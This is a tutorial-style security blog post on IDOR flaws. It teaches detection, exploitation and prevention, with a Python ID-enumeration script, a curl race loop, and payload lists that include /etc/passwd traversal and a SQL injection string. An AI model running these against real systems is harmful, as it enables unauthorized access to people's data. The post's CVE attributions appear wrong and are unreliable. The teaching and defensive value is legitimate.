Post

Insecure Direct Object References (IDOR)

Insecure Direct Object References (IDOR)

Introduction

Insecure Direct Object References (IDOR) is a critical web security vulnerability that occurs when an application exposes a reference to an internal implementation object, such as a file, directory, database record, or key. Due to lack of proper authorization checks, attackers can manipulate these references to access unauthorized data or perform unauthorized actions.

IDOR vulnerabilities are classified as access control issues and ranked #1 in the OWASP API Security Top 10 (2023) and #5 in the OWASP Top 10 (2021) under “Broken Access Control”.

How IDOR Vulnerabilities Work

IDOR vulnerabilities follow this general pattern:

  1. Application uses client-controlled input to directly reference objects
  2. The reference is predictable or easily guessable
  3. The application fails to verify if the user is authorized to access the requested object
  4. Attacker manipulates the reference to access unauthorized resources

Common IDOR Locations

URL Parameters

1
2
3
https://example.com/api/users/123/profile           # User ID in path
https://example.com/viewDocument?docid=1000         # Document ID as parameter
https://example.com/account?id=987                  # Account ID as parameter

HTTP Request Bodies

1
2
3
4
5
6
// POST /api/transactions
{
  "fromAccount": 12345,
  "toAccount": 67890,
  "amount": 100
}

Cookies or Hidden Form Fields

1
Cookie: user_id=1337; access_level=user
1
<input type="hidden" name="accountNumber" value="12345">

API Endpoints

1
2
3
GET /api/v1/users/123/documents
PUT /api/v1/orders/456/cancel
DELETE /api/v1/comments/789

File Paths

1
2
https://example.com/app/loadDocument.php?file=../../../etc/passwd
https://example.com/users/profile_pictures/user1337.jpg

IDOR Vulnerability Types

Horizontal Privilege Escalation

Accessing resources belonging to other users with the same privilege level.

1
2
3
4
5
# Legitimate request
GET /api/users/1337/messages

# IDOR exploit (accessing another user's messages)
GET /api/users/1338/messages

Vertical Privilege Escalation

Accessing resources that require higher privileges than the attacker possesses.

1
2
3
4
5
# Legitimate user request
GET /api/users/profile

# IDOR exploit (accessing admin functionality)
GET /api/admin/users

Insecure Function Calls

Invoking functions or operations without proper authorization.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Legitimate request
POST /api/users/1337/update
{
  "name": "John Doe",
  "email": "john@example.com"
}

# IDOR exploit (modifying another user's data)
POST /api/users/1338/update
{
  "name": "Hacked",
  "email": "attacker@evil.com"
}

Data Leakage

Exposing sensitive information through object references.

1
2
3
4
5
# Legitimate request
GET /api/invoices/INV-1337

# IDOR exploit (accessing another user's invoice)
GET /api/invoices/INV-1338

IDOR Parameter Tampering Examples

Numeric IDs

1
2
3
4
5
GET /api/users/1337/profile     # Original
GET /api/users/1338/profile     # Tampered

GET /profile?user_id=1337       # Original
GET /profile?user_id=1338       # Tampered

UUIDs and GUIDs

1
2
GET /api/documents/a1b2c3d4-e5f6-7890-abcd-ef1234567890    # Original
GET /api/documents/f6e5d4c3-b2a1-0987-abcd-ef0987654321    # Tampered

Base64 Encoded Values

1
2
GET /api/resources?id=dXNlcjoxMzM3    # Decoded: user:1337
GET /api/resources?id=dXNlcjoxMzM4    # Decoded: user:1338

Hashed Values

1
2
3
# If using predictable hashing like MD5
GET /api/data?hash=8c97955ebd0b8f31542375c891dc4c4c    # MD5 of "user1337"
GET /api/data?hash=44ffc643c79bd401a40177e207610ca0    # MD5 of "user1338"

JSON Web Tokens (JWT)

1
2
3
4
5
# If JWT contains user identifiers and isn't properly validated
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMzM3fQ.73tT8P8K_eNLl-h19P2hxP4h0xND9vFVXvd9K4nBGGw

# Tampered JWT with different user_id
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMzM4fQ.QaAp40pdBgeDFshjzFkYY9gzUEQbZTWoUMVNVv5FoFE

IDOR Detection Techniques

Manual Testing

  1. Identify Parameters: Look for IDs, references, filenames in:
    • URL paths and query parameters
    • Request bodies
    • Hidden form fields
    • Cookies
  2. Parameter Analysis:
    • Identify the format (numeric, UUID, Base64, etc.)
    • Decode if necessary (Base64, URL encoding)
    • Understand the pattern or structure
  3. Authorization Testing:
    • Log in with different user accounts
    • Swap identifiers between accounts
    • Try accessing resources without authentication
    • Test both horizontal and vertical access controls
  4. API Endpoint Enumeration:
    • List all API endpoints using documentation or proxy tools
    • Test CRUD operations on each endpoint
    • Look for inconsistent access controls

Automated Testing

Using Burp Suite

  1. Autorize Extension:
    • Configure authorized and unauthorized users
    • Compare responses between users for the same resources
    • Flag potential IDOR issues
  2. Burp Intruder:
    • Target parameters likely to contain object references
    • Use payloads of sequential numbers, UUIDs, or other patterns
    • Analyze responses for successful access or data leakage
  3. Match and Replace Rules:
    • Set up rules to automatically replace user identifiers
    • Test all application functions with replaced IDs

Using OWASP ZAP

  1. Active Scan:
    • Enable IDOR rules in the scan policy
    • Run against authenticated sessions
  2. Fuzzing:
    • Use ZAP’s fuzzer against identified parameters
    • Look for status code or response size changes

IDOR Exploitation Methodology

1. Reconnaissance

1
2
3
4
# Map the application and identify potential IDOR points
GET /api/users/1337/profile
GET /api/users/1337/documents
GET /api/users/1337/settings

2. Pattern Analysis

1
2
3
4
5
6
7
# Original request
GET /api/users/a7f9cb2c-8954-4611-a918-d1462b29455b/profile

# Analysis:
# - UUID format
# - Potential user identifier
# - Predictable pattern for different users

3. Parameter Tampering

1
2
3
4
5
# Try different values
GET /api/users/1338/profile       # Sequential ID
GET /api/users/admin/profile     # Role-based ID
GET /api/users/../profile         # Path traversal
GET /api/users/*/profile          # Wildcard attempt

4. HTTP Method Switching

1
2
3
4
5
6
7
# Original request
GET /api/users/1337/profile      # Returns 403 Forbidden

# Try different HTTP methods
POST /api/users/1337/profile     # May bypass access controls
PUT /api/users/1337/profile
DELETE /api/users/1337/profile

5. Mass Assignment Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Original request to update user profile
PUT /api/users/1337
{
  "name": "John Doe",
  "email": "john@example.com"
}

# Adding unexpected fields
PUT /api/users/1337
{
  "name": "John Doe",
  "email": "john@example.com",
  "role": "admin",
  "verified": true
}

6. API Version Bypassing

1
2
3
4
5
# Current API version might have proper access controls
GET /api/v2/users/1338/profile   # Returns 403 Forbidden

# Try an older API version
GET /api/v1/users/1338/profile   # May succeed if access controls were added later

7. Nested Resource Exploitation

1
2
# Access through parent-child relationship
GET /api/organizations/5/users/1338    # May work if only checking organization access

Advanced IDOR Exploitation

Blind IDOR Detection

When you can’t directly see the response data:

1
2
3
4
5
# Original request (returns no useful content)
GET /api/users/1337/delete     # Returns {"status":"success"}

# Try with another ID
GET /api/users/1338/delete     # If also returns success, likely vulnerable

IDOR via Race Conditions

1
2
3
4
5
6
7
8
# Scenario: Restrictions applied after initial access check

# Step 1: Start multiple concurrent requests
for i in {1..20}; do
  curl -H "Authorization: Bearer $TOKEN" \
       https://example.com/api/documents/restricted_doc \
       -o "output_$i.txt" &
done

Bypassing Referrer Checks

1
2
3
4
5
6
7
# If server validates Referer header
GET /api/users/1338/profile
Referer: https://example.com/users/1337/

# Try without Referer
GET /api/users/1338/profile
# No Referer header

IDOR in File Operations

1
2
3
4
5
6
# Legitimate file access
GET /download?file=user_1337_report.pdf

# IDOR exploitation
GET /download?file=user_1338_report.pdf
GET /download?file=../../../etc/passwd

IDOR via Path Traversal

1
2
3
4
5
# Original URL
GET /api/documents/users/1337/2023/financial.pdf

# Path traversal IDOR
GET /api/documents/users/1337/../1338/2023/financial.pdf

IDOR Exploitation Tools

Custom IDOR Scanner (Python Script)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import concurrent.futures

base_url = "https://example.com/api/users/"
user_id_range = range(1000, 2000)
auth_token = "YOUR_AUTH_TOKEN"
headers = {"Authorization": f"Bearer {auth_token}"}

def test_idor(user_id):
    url = f"{base_url}{user_id}/profile"
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        print(f"Potential IDOR found: {url}, Status: {response.status_code}")
        print(f"Response: {response.text[:100]}...")
    return user_id, response.status_code

# Execute requests in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(test_idor, uid) for uid in user_id_range]
    for future in concurrent.futures.as_completed(futures):
        user_id, status_code = future.result()

Burp Suite Automation with Autorize Extension

  1. Configure two users: one with higher privileges and one with lower privileges
  2. Set up the Autorize extension to use the higher privileged user’s session
  3. Browse the application with the lower privileged user
  4. Autorize will flag requests that succeed with the higher privileged user’s session

Postman Collection for IDOR Testing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
{
  "info": {
    "name": "IDOR Testing Collection",
    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
  },
  "item": [
    {
      "name": "Get User Profile - Original",
      "request": {
        "method": "GET",
        "header": [
          {
            "key": "Authorization",
            "value": "Bearer "
          }
        ],
        "url": {
          "raw": "/api/users//profile",
          "host": [""],
          "path": ["api", "users", "", "profile"]
        }
      }
    },
    {
      "name": "Get User Profile - IDOR Test",
      "request": {
        "method": "GET",
        "header": [
          {
            "key": "Authorization",
            "value": "Bearer "
          }
        ],
        "url": {
          "raw": "/api/users//profile",
          "host": [""],
          "path": ["api", "users", "", "profile"]
        }
      }
    }
  ],
  "variable": [
    {
      "key": "base_url",
      "value": "https://example.com"
    },
    {
      "key": "auth_token",
      "value": "YOUR_AUTH_TOKEN"
    },
    {
      "key": "user_id",
      "value": "1337"
    },
    {
      "key": "target_user_id",
      "value": "1338"
    }
  ]
}

Real-World IDOR Examples

HackerOne Case Studies

  1. Shopify API IDOR (2019)
    • An IDOR in Shopify allowed accessing any order receipt by modifying the order ID parameter
    • Impact: Exposure of customer PII and order details
  2. Twitter Account Takeover (2017)
    • An IDOR in Twitter’s account management allowed attackers to add any email address to their account
    • Impact: Complete account takeover of other users
  3. Facebook Page Admin IDOR (2021)
    • An IDOR in Facebook’s Business Manager allowed unauthorized access to page administration
    • Impact: Ability to manage any Facebook business page

CVE Examples

  1. CVE-2021-40346: WordPress IDOR
    • An IDOR in WordPress allowed authenticated users to delete arbitrary posts
    • Impact: Content deletion and potential DoS
  2. CVE-2020-35489: GitLab IDOR
    • An IDOR in GitLab allowed unauthorized access to private project details
    • Impact: Exposure of confidential project information
  3. CVE-2019-11869: WordPress Plugin IDOR
    • An IDOR in the WordPress Social Warfare plugin allowed unauthorized file uploads
    • Impact: Remote code execution

Prevention & Mitigation

Server-Side Validation

1
2
3
4
5
6
7
8
9
10
11
12
13
// PHP example with proper authorization check
function getDocumentById($documentId) {
    // 1. Get the current user ID
    $currentUserId = getCurrentAuthenticatedUserId();
    
    // 2. Query document with both the document ID and user ID
    $query = "SELECT * FROM documents WHERE id = ? AND owner_id = ?";
    $stmt = $pdo->prepare($query);
    $stmt->execute([$documentId, $currentUserId]);
    
    // 3. Return the document only if it belongs to the current user
    return $stmt->fetch();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Node.js/Express example with middleware
function authorizeResourceAccess(req, res, next) {
    const resourceId = req.params.id;
    const userId = req.user.id;
    
    // Check if user has access to the resource
    Resource.findOne({ 
        where: { id: resourceId }
    }).then(resource => {
        if (!resource || resource.ownerId !== userId) {
            return res.status(403).json({ error: "Forbidden" });
        }
        // User is authorized to access the resource
        next();
    }).catch(err => {
        res.status(500).json({ error: "Server error" });
    });
}

// Use middleware in routes
app.get('/api/resources/:id', authorizeResourceAccess, (req, res) => {
    // Handle the request
});

Indirect Reference Maps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Using indirect references instead of direct database IDs
const userResourceMap = {
    'user1337': {
        'resource1': 'db_id_74923',
        'resource2': 'db_id_92174'
    }
};

app.get('/api/resources/:resourceKey', (req, res) => {
    const userId = getUserIdFromSession(req);
    const resourceKey = req.params.resourceKey;
    
    // Get the actual database ID from the map
    const dbId = userResourceMap[userId]?.[resourceKey];
    
    if (!dbId) {
        return res.status(403).json({ error: "Forbidden" });
    }
    
    // Now fetch using the real database ID
    Resource.findById(dbId).then(resource => {
        res.json(resource);
    });
});

Access Control Frameworks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Using RBAC (Role-Based Access Control) framework
const accessControl = new AccessControl();

// Define roles and permissions
accessControl
    .grant('user')
        .readOwn('profile')
        .updateOwn('profile')
    .grant('admin')
        .extend('user')
        .readAny('profile')
        .updateAny('profile');

// Middleware to check permissions
function checkPermission(action, resource) {
    return (req, res, next) => {
        const permission = accessControl.can(req.user.role)[action](resource);
        
        if (permission.granted) {
            next();
        } else {
            res.status(403).json({ error: "Forbidden" });
        }
    };
}

// Use in routes
app.get('/api/users/:id/profile', 
    checkPermission('readOwn', 'profile'),
    (req, res) => {
        // Additional ownership check for readOwn
        if (req.params.id !== req.user.id && req.user.role !== 'admin') {
            return res.status(403).json({ error: "Forbidden" });
        }
        
        // Handle the request
    }
);

Use UUIDs Instead of Sequential IDs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Generating a UUID v4 for resource identifiers
const { v4: uuidv4 } = require('uuid');

app.post('/api/resources', (req, res) => {
    const resourceId = uuidv4(); // e.g., '1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed'
    
    // Create resource with the UUID
    const resource = new Resource({
        id: resourceId,
        ownerId: req.user.id,
        // other properties...
    });
    
    resource.save().then(() => {
        res.json({ id: resourceId });
    });
});

Context-Based Authorization

1
2
3
4
5
6
7
8
9
// Django example with object-level permissions
class DocumentViewSet(viewsets.ModelViewSet):
    queryset = Document.objects.all()
    serializer_class = DocumentSerializer
    permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]

    def get_queryset(self):
        # Filter queryset based on the requesting user
        return Document.objects.filter(owner=self.request.user)

Common IDOR Testing Payloads

Numeric ID Manipulation

1
2
3
4
5
6
7
8
9
10
# Original ID
id=1337

# Test payloads
id=1338
id=1
id=0
id=-1
id=null
id=9999999

UUID Manipulation

1
2
3
4
5
6
7
# Original UUID
id=a7f9cb2c-8954-4611-a918-d1462b29455b

# Test payloads
id=a7f9cb2c-8954-4611-a918-000000000000
id=a7f9cb2c-0000-0000-0000-d1462b29455b
id=00000000-0000-0000-0000-000000000000

Base64 Manipulation

1
2
3
4
5
6
7
# Original Base64 (decoded: user:1337)
id=dXNlcjoxMzM3

# Test payloads
id=dXNlcjoxMzM4  # user:1338
id=dXNlcjphZG1pbg==  # user:admin
id=YWRtaW46YWRtaW4=  # admin:admin

JSON Data Manipulation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Original request
{
  "userId": 1337,
  "action": "view"
}

// Test payloads
{
  "userId": 1338,
  "action": "view"
}

{
  "userId": 1337,
  "action": "admin_view"
}

{
  "userId": "' OR 1=1 --",
  "action": "view"
}

IDOR Checklist for Security Testing

  1. Identify Potential IDOR Points
    • URL parameters
    • REST API endpoints
    • Request body parameters
    • Cookies
    • Hidden form fields
    • Headers (e.g., custom identifiers)
  2. Test Access Control
    • Horizontal privilege escalation (same level users)
    • Vertical privilege escalation (higher privileges)
    • Unauthenticated access
    • Ability to access deleted resources
  3. Test Parameter Manipulation
    • Modify numeric IDs
    • Manipulate GUIDs/UUIDs
    • Decode and modify encoded values
    • Test array/batch operations
    • Modify JSON/XML structures
  4. Test HTTP Method Variations
    • Same endpoint with GET/POST/PUT/DELETE
    • Method override techniques (X-HTTP-Method-Override)
  5. Test Request Headers
    • Remove authentication headers
    • Modify origin/referer headers
    • Add/modify custom headers
  6. Advanced Testing
    • API versioning bypasses
    • Race conditions
    • Mass assignment vulnerabilities
    • Path traversal combined with IDOR
    • Wildcard usage or fuzzing

References

  1. OWASP API Security Top 10: API1:2023 Broken Object Level Authorization
  2. PortSwigger: Insecure Direct Object References
  3. HackTricks: IDOR
  4. OWASP Top 10:2021 A01 Broken Access Control
  5. Bug Bounty Reports on IDOR by HackerOne
This post is licensed under CC BY 4.0 by the author.